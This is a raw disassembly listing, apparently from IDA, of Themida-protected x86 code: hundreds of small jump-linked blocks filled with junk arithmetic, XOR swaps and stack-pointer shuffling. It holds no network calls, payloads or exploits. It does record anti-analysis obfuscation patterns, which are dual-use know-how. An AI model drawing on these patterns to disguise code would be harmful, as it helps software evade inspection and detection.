; ---------------------------------------------------------------------------


loc_561498:				; CODE XREF: Themida_:0055246Dj
		push	esi
		mov	esi, 775330E0h
		not	esi
		shl	esi, 3
		jmp	loc_5643EE
; ---------------------------------------------------------------------------


loc_5614A8:				; CODE XREF: Themida_:0055A5B0j
		pop	edx
		shr	ch, 6
		dec	ch
		sub	ch, 1
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 62521CD2h
		jmp	loc_55218D
; ---------------------------------------------------------------------------


loc_5614C5:				; CODE XREF: Themida_:00555375j
		shr	ebx, 3
		jmp	loc_556975
; ---------------------------------------------------------------------------


loc_5614CD:				; CODE XREF: Themida_:005542AFj
		add	ecx, 4DC67283h
		jmp	loc_554B2E
; ---------------------------------------------------------------------------


loc_5614D8:				; CODE XREF: Themida_:0055A7F2j
		xor	[esp], edx
		jmp	loc_55A478
; ---------------------------------------------------------------------------


loc_5614E0:				; CODE XREF: Themida_:0055A6E3j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 53665A5Ch
		mov	ecx, 53665A58h
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 42F17E49h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 42F17E49h
		jmp	loc_55DAD4
; ---------------------------------------------------------------------------


loc_561526:				; CODE XREF: Themida_:005617E1j
		xor	ebx, [esp]
		mov	esp, [esp]
		movzx	cx, al
		push	2201h
		mov	[esp], ecx
		push	73C7h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 2
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	9E6h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	ebx
		push	ecx
		mov	ecx, 733524Eh
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, 0F8CCADB6h
		add	ecx, 19317CD4h
		sub	ecx, 1E405A77h
		add	ecx, ebx
		jmp	loc_564D9A
; ---------------------------------------------------------------------------


loc_56159B:				; CODE XREF: Themida_:005613C0j
		push	ebx
		mov	ebx, 192089h
		mov	ecx, 3445FE99h
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 6E5D4798h
		mov	esi, 8986673Dh
		jmp	loc_55714F
; ---------------------------------------------------------------------------


loc_5615BF:				; CODE XREF: Themida_:0056367Fj
		sub	esi, 233D7FF2h
		jmp	loc_561F3C
; ---------------------------------------------------------------------------


loc_5615CA:				; CODE XREF: Themida_:0055FFC8j
		add	edi, 2ADF116Dh
		pop	ebx
		mov	edx, edi
		jmp	loc_55AEAA
; ---------------------------------------------------------------------------


loc_5615D8:				; CODE XREF: Themida_:005618A0j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_562A36
; ---------------------------------------------------------------------------


loc_5615EB:				; CODE XREF: Themida_:00554887j
		pop	ebx
		jmp	loc_5504C8
; ---------------------------------------------------------------------------


loc_5615F1:				; CODE XREF: Themida_:00559364j
		shr	ebp, 4
		shr	ebp, 8
		add	ebp, 6FAA6C21h
		xor	esi, ebp
		pop	ebp
		add	eax, 46AC7A57h
		jmp	loc_56572E
; ---------------------------------------------------------------------------


loc_56160A:				; CODE XREF: Themida_:00553AE3j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	al, 0D0h
		sub	al, bh
		jmp	loc_560607
; ---------------------------------------------------------------------------


loc_56161D:				; CODE XREF: Themida_:0055CD34j
		sub	ch, 59h
		xor	ch, 3Fh
		jmp	loc_560781
; ---------------------------------------------------------------------------


loc_561628:				; CODE XREF: Themida_:0055DF73j
		add	eax, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56164C:				; CODE XREF: Themida_:005650E2j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	eax, [esp]
		push	60A7h
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	edi
		mov	edi, 54153759h
		mov	eax, 5415375Dh
		add	eax, 2B2056CDh
		sub	eax, edi
		sub	eax, 2B2056CDh
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 0D371B17h
		jmp	loc_5593AA
; ---------------------------------------------------------------------------


loc_5616A5:				; CODE XREF: Themida_:00557182j
		add	esi, ebp
		pop	ebp
		push	esi
		add	dword ptr [esp], 2330947h
		pop	eax
		sub	eax, 2330947h
		pop	esi
		mov	edx, 6FEA557Bh
		add	edx, 69203044h
		add	edx, 18A83FF1h
		jmp	loc_55A8B8
; ---------------------------------------------------------------------------


loc_5616CD:				; CODE XREF: Themida_:00559651j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5613FA
; ---------------------------------------------------------------------------


loc_5616E3:				; CODE XREF: Themida_:00565682j
		mov	[esp], ecx
		jmp	loc_5554B8
; ---------------------------------------------------------------------------


loc_5616EB:				; CODE XREF: Themida_:00562FC7j
		mov	[esp], edx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_561C9B
; ---------------------------------------------------------------------------


loc_5616F9:				; CODE XREF: Themida_:00556945j
		pop	ecx
		sub	ecx, 0FDBA11FFh
		jmp	loc_556C54
; ---------------------------------------------------------------------------


loc_561705:				; CODE XREF: Themida_:00560BC3j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_55110E
; ---------------------------------------------------------------------------


loc_561715:				; CODE XREF: Themida_:0055F78Dj
		sub	eax, edx
		jmp	loc_55F770
; ---------------------------------------------------------------------------


loc_56171C:				; CODE XREF: Themida_:00557310j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55401F
; ---------------------------------------------------------------------------


loc_561736:				; CODE XREF: Themida_:005513ECj
		push	ebx
		jmp	loc_550569
; ---------------------------------------------------------------------------


loc_56173C:				; CODE XREF: Themida_:0055C8ADj
		add	dword ptr [esp+4], 1C604127h
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_55C000
; ---------------------------------------------------------------------------


loc_561755:				; CODE XREF: Themida_:00555653j
		add	esp, 4
		not	ecx
		jmp	loc_554F25
; ---------------------------------------------------------------------------


loc_561762:				; CODE XREF: Themida_:00565BFFj
		inc	edx
		inc	edx
		neg	edx
		xor	edx, 0DB07B13h
		jmp	loc_55F3A3
; ---------------------------------------------------------------------------


loc_561771:				; CODE XREF: Themida_:0055A428j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	cl, dl
		mov	al, cl
		pop	ecx
		push	ebx
		mov	bh, al
		mov	cl, bh
		jmp	loc_5505E7
; ---------------------------------------------------------------------------


loc_561788:				; CODE XREF: Themida_:005518C3j
		mov	edx, esp
		add	edx, 4
		push	edi
		push	eax
		jmp	loc_55E135
; ---------------------------------------------------------------------------


loc_561797:				; CODE XREF: Themida_:00565692j
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_553306
; ---------------------------------------------------------------------------


loc_5617AE:				; CODE XREF: Themida_:00550E4Dj
		push	2A79h
		jmp	loc_55AEDA
; ---------------------------------------------------------------------------


loc_5617B8:				; CODE XREF: Themida_:0055CCA5j
		mov	dh, 7
		sub	al, dh
		pop	dx
		push	ebx
		mov	bh, al
		not	bh
		mov	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 28h
		sub	bl, 84h
		sub	bl, 95h
		jmp	loc_5658A6
; ---------------------------------------------------------------------------


loc_5617DB:				; CODE XREF: Themida_:00559012j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_561526
; ---------------------------------------------------------------------------


loc_5617E6:				; CODE XREF: Themida_:0055E396j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_556670
; ---------------------------------------------------------------------------


loc_561800:				; CODE XREF: Themida_:0055E2EBj
		or	edi, 712A187Dh
		jmp	loc_558146
; ---------------------------------------------------------------------------


loc_56180B:				; CODE XREF: Themida_:00564789j
		mov	ebx, esp
		jmp	loc_561486
; ---------------------------------------------------------------------------


loc_561812:				; CODE XREF: Themida_:00562D16j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	55B66F9Fh
		pop	ebp
		xor	ebp, 621750EFh
		neg	ebp
		jmp	loc_55DB9F
; ---------------------------------------------------------------------------


loc_56182D:				; CODE XREF: Themida_:005528CAj
		pop	esp
		shl	ebp, 4
		shr	ebp, 6
		or	ebp, 19F10FCCh
		push	5E6Dh
		mov	[esp], edx
		mov	edx, 6CED6FF8h
		and	ebp, edx
		pop	edx
		jmp	loc_556653
; ---------------------------------------------------------------------------


loc_56184F:				; CODE XREF: Themida_:005526CDj
		pop	ebp
		sub	ebx, 4E7E18C0h
		jmp	loc_5573B5
; ---------------------------------------------------------------------------


loc_56185B:				; CODE XREF: Themida_:0055CD2Cj
		add	bl, 0F5h
		push	eax
		mov	ah, 0FDh
		dec	ah
		xor	ah, 0DFh
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		add	bl, al
		push	ecx
		push	eax
		jmp	loc_552EA0
; ---------------------------------------------------------------------------


loc_561877:				; CODE XREF: Themida_:0055C516j
		pop	ecx
		add	eax, ebp
		sub	eax, 59991B92h
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6BDE5BBBh
		sub	eax, ebp
		pop	ebp
		jmp	loc_55ECAD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_564032
; ---------------------------------------------------------------------------


loc_56189F:				; CODE XREF: Themida_:005514E7j
		push	ecx
		jmp	loc_5615D8
; ---------------------------------------------------------------------------


loc_5618A5:				; CODE XREF: Themida_:0055E9BFj
		mov	esi, 45E535F6h
		jmp	loc_5634E0
; ---------------------------------------------------------------------------


loc_5618AF:				; CODE XREF: Themida_:0055A78Bj
		pop	esp
		jmp	loc_559714
; ---------------------------------------------------------------------------


loc_5618B5:				; CODE XREF: Themida_:005548A8j
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 906FF85Ah
		add	ebx, 68450ACEh
		push	esi
		mov	esi, 39491F90h
		jmp	loc_55AFD7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_565899
; ---------------------------------------------------------------------------


loc_5618DF:				; CODE XREF: Themida_:0055750Cj
		push	ebx
		jmp	loc_560ADF
; ---------------------------------------------------------------------------


loc_5618E5:				; CODE XREF: Themida_:005567D1j
		sub	ecx, esi
		pop	esi
		add	ecx, ebx
		add	ecx, 1A5847B2h
		jmp	loc_5570A1
; ---------------------------------------------------------------------------


loc_5618F5:				; CODE XREF: Themida_:00560AA8j
		pop	ax
		xor	cl, 0EAh
		sub	al, 0D7h
		sub	al, cl
		add	al, 0D7h
		jmp	loc_5508D1
; ---------------------------------------------------------------------------


loc_561905:				; CODE XREF: Themida_:00554A36j
		inc	edi
		shr	edi, 7
		neg	edi
		add	edi, 531Fh
		add	edx, edi
		jmp	loc_5547DB
; ---------------------------------------------------------------------------


loc_561918:				; CODE XREF: Themida_:00555752j
		push	ebx
		jmp	loc_5547CF
; ---------------------------------------------------------------------------


loc_56191E:				; CODE XREF: Themida_:0055CA91j
		pop	ebp
		jmp	loc_551BB7
; ---------------------------------------------------------------------------


loc_561924:				; CODE XREF: Themida_:0055B315j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5577B5
; ---------------------------------------------------------------------------


loc_56193E:				; CODE XREF: Themida_:00563593j
		pop	edx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_561944:				; CODE XREF: Themida_:00565828j
		add	esp, 4
		push	2D45h
		jmp	loc_556591
; ---------------------------------------------------------------------------


loc_561951:				; CODE XREF: Themida_:00558CF1j
		mov	esp, [esp]
		jmp	loc_556B3A
; ---------------------------------------------------------------------------


loc_561959:				; CODE XREF: Themida_:00552C0Fj
		shr	ebp, 4
		add	ebp, 340124E4h
		inc	ebp
		push	eax
		mov	eax, 341AF206h
		xor	ebp, eax
		pop	eax
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		sub	edx, 132E5E69h
		add	edx, edi
		add	edx, 132E5E69h
		push	dword ptr [edx]
		jmp	loc_55E843
; ---------------------------------------------------------------------------


loc_561988:				; CODE XREF: Themida_:0055979Fj
		and	esi, 66C2468Eh
		and	esi, 5FF518CDh
		shl	esi, 5
		xor	esi, 42763B69h
		push	ecx
		mov	ecx, 77750B7Bh
		push	0
		sub	[esp], ecx
		pop	ecx
		jmp	loc_55340D
; ---------------------------------------------------------------------------


loc_5619B1:				; CODE XREF: Themida_:0055743Bj
		xchg	ebp, [esp]
		pop	esp
		push	2D52h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_562CB9
; ---------------------------------------------------------------------------


loc_5619C4:				; CODE XREF: Themida_:0055EA80j
		and	ecx, 37C84ED4h
		sub	ecx, 6084240h
		add	edi, ecx
		jmp	loc_551809
; ---------------------------------------------------------------------------


loc_5619D7:				; CODE XREF: Themida_:005583FFj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5594C8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		jmp	loc_559067
; ---------------------------------------------------------------------------


loc_5619FD:				; CODE XREF: Themida_:0055999Fj
		pop	ebp
		sub	eax, 1F9867EDh
		add	eax, ebx
		add	eax, 1F9867EDh
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_551273
; ---------------------------------------------------------------------------


loc_561A1E:				; CODE XREF: Themida_:00564177j
		jz	loc_55266F
		push	dword ptr [edi+1Ch]
		jmp	loc_564459
; ---------------------------------------------------------------------------


loc_561A2C:				; CODE XREF: Themida_:00552967j
		push	ebx
		push	ebp
		mov	ebp, 0AD94D29h
		neg	ebp
		push	eax
		mov	eax, 77CE6214h
		add	ebp, eax
		pop	eax
		mov	ebx, ebp
		pop	ebp
		or	ebx, 486223FCh
		jmp	loc_55EA19
; ---------------------------------------------------------------------------


loc_561A4C:				; CODE XREF: Themida_:00553FA8j
		mov	eax, ebp
		pop	ebp
		jmp	loc_557D6C
; ---------------------------------------------------------------------------


loc_561A54:				; CODE XREF: Themida_:0055F7D3j
		push	92Fh
		mov	[esp], edx
		push	esi
		jmp	loc_559369
; ---------------------------------------------------------------------------


loc_561A62:				; CODE XREF: Themida_:0055DD30j
		xchg	ebp, edi
		xor	edi, 0F73A0764h
		sub	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		jmp	loc_562FFB
; ---------------------------------------------------------------------------


loc_561A75:				; CODE XREF: Themida_:0055A66Fj
		mov	eax, esp
		jmp	loc_5510EF
; ---------------------------------------------------------------------------


loc_561A7C:				; CODE XREF: Themida_:0055C75Dj
		sub	ebx, eax
		jmp	loc_551EEF
; ---------------------------------------------------------------------------


loc_561A83:				; CODE XREF: Themida_:0055CB0Bj
		sub	eax, 221762AAh
		push	ecx
		push	esi
		mov	esi, 7DA81BDBh
		mov	ecx, esi
		pop	esi
		add	eax, ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55A097
; ---------------------------------------------------------------------------


loc_561AA0:				; CODE XREF: Themida_:00555030j
		add	ebp, edi
		pop	edi
		push	eax
		mov	eax, 7C6D7E66h
		and	eax, 23CC24B6h
		add	eax, 0DFB3DBDEh
		jmp	loc_550B4B
; ---------------------------------------------------------------------------


loc_561AB8:				; CODE XREF: Themida_:0055A98Ej
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 715B7ACFh
		dec	ebp
		sub	ebp, 4D840591h
		not	ebp
		jmp	loc_563203
; ---------------------------------------------------------------------------


loc_561AD5:				; CODE XREF: Themida_:00555C95j
		add	edx, 28C615A4h
		neg	edx
		shl	edx, 5
		jmp	loc_556B1A
; ---------------------------------------------------------------------------


loc_561AE5:				; CODE XREF: Themida_:0055FDCFj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56457A
; ---------------------------------------------------------------------------


loc_561AEE:				; CODE XREF: Themida_:0055EDB1j
		mov	ecx, esi
		pop	esi
		jmp	loc_563004
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	1B7Dh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55BB39
; ---------------------------------------------------------------------------


loc_561B16:				; CODE XREF: Themida_:0055A32Fj
		pop	esi
		shr	esi, 7
		shr	esi, 1
		inc	esi
		jmp	loc_55FA7D
; ---------------------------------------------------------------------------


loc_561B22:				; CODE XREF: Themida_:0055F88Fj
		push	373h
		jmp	loc_560121
; ---------------------------------------------------------------------------


loc_561B2C:				; CODE XREF: Themida_:0055CFA5j
		mov	edi, 533855F8h
		jmp	loc_562748
; ---------------------------------------------------------------------------


loc_561B36:				; CODE XREF: Themida_:0055A258j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5589FD
; ---------------------------------------------------------------------------


loc_561B42:				; CODE XREF: Themida_:005638BAj
		xor	ebp, 0C37649h
		mov	ebx, ebp
		jmp	loc_55160E
; ---------------------------------------------------------------------------
		push	edx
		push	eax
		jmp	loc_551E11
; ---------------------------------------------------------------------------


loc_561B56:				; CODE XREF: Themida_:00550679j
		mov	esp, [esp]


loc_561B59:				; CODE XREF: Themida_:00560F58j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553AF6
; ---------------------------------------------------------------------------


loc_561B64:				; CODE XREF: Themida_:00559D3Aj
		add	esi, 2
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 41027766h
		shl	ecx, 7
		xor	ecx, 813BB304h
		add	edx, ecx
		push	dword ptr [esp]
		jmp	loc_56592E
; ---------------------------------------------------------------------------


loc_561B86:				; CODE XREF: Themida_:0055D13Cj
		sub	esi, ebx
		add	esi, 5C9E1B2Ah
		add	esi, 143D37ADh
		push	dword ptr [esp]
		jmp	loc_55151C
; ---------------------------------------------------------------------------


loc_561B9C:				; CODE XREF: Themida_:00564A9Dj
		add	[esp+4], ebx
		add	dword ptr [esp+4], 371A77CCh
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 640162E6h
		jmp	loc_558C6A
; ---------------------------------------------------------------------------


loc_561BD0:				; CODE XREF: Themida_:0055BB3Fj
		mov	[esp], esi
		mov	esi, 36745064h
		neg	esi
		and	esi, 4EBD4784h
		xor	esi, 2CB466E9h
		add	esi, 0FFFFFFFFh
		xor	esi, 3A9B0D2Fh
		jmp	loc_55BE01
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5653CB
; ---------------------------------------------------------------------------


loc_561C08:				; CODE XREF: Themida_:00560A0Aj
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_560598
; ---------------------------------------------------------------------------


loc_561C13:				; CODE XREF: Themida_:00564222j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	32AAh
		mov	[esp], edx
		mov	edx, 4
		push	ecx
		mov	ecx, 72B74BF0h
		add	ebp, ecx
		pop	ecx
		add	ebp, edx
		sub	ebp, 72B74BF0h
		pop	edx
		push	ebx
		jmp	loc_55D903
; ---------------------------------------------------------------------------


loc_561C3F:				; CODE XREF: Themida_:00565101j
		push	small 58B1h
		pop	bx
		push	edx
		mov	dx, 4171h
		sub	dx, 48Fh
		add	dx, 1899h
		and	dx, 6D5Ah
		shr	dx, 6
		sub	dx, 9B81h
		jmp	loc_5522FF
; ---------------------------------------------------------------------------


loc_561C67:				; CODE XREF: Themida_:005584B0j
		pop	ebx
		mov	edi, 4DA76630h
		xor	edi, ebp
		pop	ebp
		xor	edi, 440D4287h
		jmp	loc_5629C3
; ---------------------------------------------------------------------------


loc_561C7B:				; CODE XREF: Themida_:00563AB2j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	eax, 165A0101h
		sub	eax, ebx
		add	eax, 165A0101h
		add	eax, 58272D4Ch
		jmp	loc_55BE90
; ---------------------------------------------------------------------------


loc_561C9B:				; CODE XREF: Themida_:005616F4j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55AE01
; ---------------------------------------------------------------------------


loc_561CAD:				; CODE XREF: Themida_:0055A0AEj
		mov	ebp, 4
		jmp	loc_55342C
; ---------------------------------------------------------------------------


loc_561CB7:				; CODE XREF: Themida_:0055CF5Aj
		mov	ebp, esi
		pop	esi
		add	ebx, 508A2E37h
		sub	ebx, ebp
		sub	ebx, 508A2E37h
		jmp	loc_565945
; ---------------------------------------------------------------------------


loc_561CCD:				; CODE XREF: Themida_:0055814Fj
		mov	edx, esi
		pop	esi
		push	esi
		mov	esi, 5605FBD9h
		add	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		sub	esi, 16F015BBh
		sub	esi, 49DA35BBh
		push	ebx
		jmp	loc_565C94
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	[esp], cx
		push	edx
		mov	dl, 1
		mov	cl, dl
		pop	edx
		push	small 2D56h
		jmp	loc_561F80
; ---------------------------------------------------------------------------


loc_561D07:				; CODE XREF: Themida_:005644BDj
		mov	esp, [esp]
		and	ah, 0CCh
		jmp	loc_558A5E
; ---------------------------------------------------------------------------


loc_561D12:				; CODE XREF: Themida_:0055D36Bj
		mov	[esp], edx
		mov	dl, 8Fh
		add	bl, dl
		pop	edx
		add	dl, bl
		jmp	loc_55AAA9
; ---------------------------------------------------------------------------


loc_561D21:				; CODE XREF: Themida_:00558C65j
		add	ebp, 78787672h
		push	eax
		jmp	loc_558B64
; ---------------------------------------------------------------------------


loc_561D2D:				; CODE XREF: Themida_:0055767Aj
		mov	ebx, ecx
		jmp	loc_562B28
; ---------------------------------------------------------------------------


loc_561D34:				; CODE XREF: Themida_:00559201j
		xor	edi, 20E937D2h
		add	esi, edi
		pop	edi
		shl	esi, 1
		not	esi
		xor	esi, 31180F15h
		push	esi
		inc	dword ptr [esp]
		pop	esi
		jmp	loc_562249
; ---------------------------------------------------------------------------


loc_561D51:				; CODE XREF: Themida_:005601D3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564FC2
; ---------------------------------------------------------------------------


loc_561D61:				; CODE XREF: Themida_:00561111j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 15A00537h
		jmp	loc_56317E
; ---------------------------------------------------------------------------


loc_561D77:				; CODE XREF: Themida_:0055B5BAj
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5632A2
; ---------------------------------------------------------------------------


loc_561D82:				; CODE XREF: Themida_:0055CE8Dj
		dec	edi
		add	edi, 21EF619Dh
		and	edi, 196E2E86h
		add	edi, 6FFEEDC1h
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_56541B
; ---------------------------------------------------------------------------


loc_561D9F:				; CODE XREF: Themida_:005603E6j
		add	esp, 4
		sub	esp, 4
		jmp	loc_55F3BE
; ---------------------------------------------------------------------------


loc_561DAA:				; CODE XREF: Themida_:0055D172j
		pop	eax
		jmp	loc_55F020
; ---------------------------------------------------------------------------


loc_561DB0:				; CODE XREF: Themida_:0055609Aj
		mov	ebx, 4E1230F1h
		jmp	loc_55B533
; ---------------------------------------------------------------------------


loc_561DBA:				; CODE XREF: Themida_:005590B6j
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_55D112
; ---------------------------------------------------------------------------


loc_561DC4:				; CODE XREF: Themida_:005656B2j
		pop	edi
		jmp	loc_554838
; ---------------------------------------------------------------------------


loc_561DCA:				; CODE XREF: Themida_:0056136Fj
		xor	ebx, 0C4DB4EBFh
		add	eax, 340B355Dh
		add	eax, ebx
		sub	eax, 340B355Dh
		jmp	loc_55209C
; ---------------------------------------------------------------------------


loc_561DE1:				; CODE XREF: Themida_:00559D11j
		xchg	edx, [esp]
		pop	ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_564DFF
; ---------------------------------------------------------------------------


loc_561DF9:				; CODE XREF: Themida_:00553786j
		pop	eax
		sub	ecx, ebx
		sub	ecx, 1D6D7C7Bh
		mov	ebx, [esp]
		jmp	loc_552B7E
; ---------------------------------------------------------------------------


loc_561E0A:				; CODE XREF: Themida_:0055C997j
		sub	edx, ecx
		push	dword ptr [esp]
		jmp	loc_560D90
; ---------------------------------------------------------------------------


loc_561E14:				; CODE XREF: Themida_:0055900Aj
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		push	ecx
		mov	ecx, 48BC7CD8h
		sub	edi, ecx
		pop	ecx
		add	edi, edx
		add	edi, 48BC7CD8h
		pop	edx
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 55B9Eh
		add	edi, ecx
		pop	ecx
		add	edi, ecx
		push	2299h
		mov	[esp], edx
		mov	edx, 655749D8h
		shr	edx, 8
		sub	edx, 256565DDh
		sub	edx, 0DAFA95CEh
		sub	edi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_557040
; ---------------------------------------------------------------------------


loc_561E76:				; CODE XREF: Themida_:005656DEj
		mov	eax, esp
		jmp	loc_560658
; ---------------------------------------------------------------------------


loc_561E7D:				; CODE XREF: Themida_:00555D63j
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_557020
; ---------------------------------------------------------------------------


loc_561E87:				; CODE XREF: Themida_:005596B0j
		sub	esi, 381A1A6Ah
		push	edi
		push	ebp
		jmp	loc_5605CC
; ---------------------------------------------------------------------------


loc_561E94:				; CODE XREF: Themida_:00550EE8j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55C5C7
; ---------------------------------------------------------------------------


loc_561E9F:				; CODE XREF: Themida_:00563A71j
		shr	dl, 8
		not	dl
		jmp	loc_562333
; ---------------------------------------------------------------------------


loc_561EA9:				; CODE XREF: Themida_:005552A3j
		mov	ebp, 2EB94660h
		or	ebp, 164A0E4Eh
		and	ebp, 1E1250EAh
		neg	ebp
		and	ebp, 1BEB232Bh
		xor	ebp, 3AAE53B6h
		sub	ebp, 17DEF90Ah
		sub	edi, ebp
		pop	ebp
		add	ecx, edi
		jmp	loc_555DDA
; ---------------------------------------------------------------------------


loc_561ED8:				; CODE XREF: Themida_:0055FCFBj
		mov	edi, 0BE95D63h
		add	edi, 4D421B75h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1B7753F0h
		jmp	loc_55D954
; ---------------------------------------------------------------------------


loc_561EF6:				; CODE XREF: Themida_:005529FAj
		mov	ebp, [esp]
		jmp	loc_564EA5
; ---------------------------------------------------------------------------


loc_561EFE:				; CODE XREF: Themida_:0056406Aj
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Bh
		jmp	loc_552264
; ---------------------------------------------------------------------------


loc_561F20:				; CODE XREF: Themida_:00555321j
		mov	esi, 26F0161Ah
		xor	esi, edi
		pop	edi
		xor	esi, 39802F39h
		dec	esi
		xor	esi, 7C0960B7h
		add	edi, esi
		jmp	loc_550F8A
; ---------------------------------------------------------------------------


loc_561F3C:				; CODE XREF: Themida_:005615C5j
		pop	ecx
		push	3524h
		mov	[esp], eax
		push	esi
		push	39F655ECh
		pop	esi
		add	esi, 4D181B62h
		add	esi, 0FFFFFFFFh
		jmp	loc_55B39E
; ---------------------------------------------------------------------------


loc_561F5D:				; CODE XREF: Themida_:00554AF0j
		push	esi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	esi
		and	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ecx
		jmp	loc_554656
; ---------------------------------------------------------------------------


loc_561F80:				; CODE XREF: Themida_:00561D02j
		mov	[esp], dx
		jmp	loc_563D9A
; ---------------------------------------------------------------------------


loc_561F89:				; CODE XREF: Themida_:00558808j
		mov	cl, 3Ah
		sub	cl, 0B2h
		sub	al, cl
		pop	ecx
		jmp	loc_55C249
; ---------------------------------------------------------------------------


loc_561F96:				; CODE XREF: Themida_:0055EA6Cj
		add	edi, 1
		add	edi, 76A23265h
		push	ebx
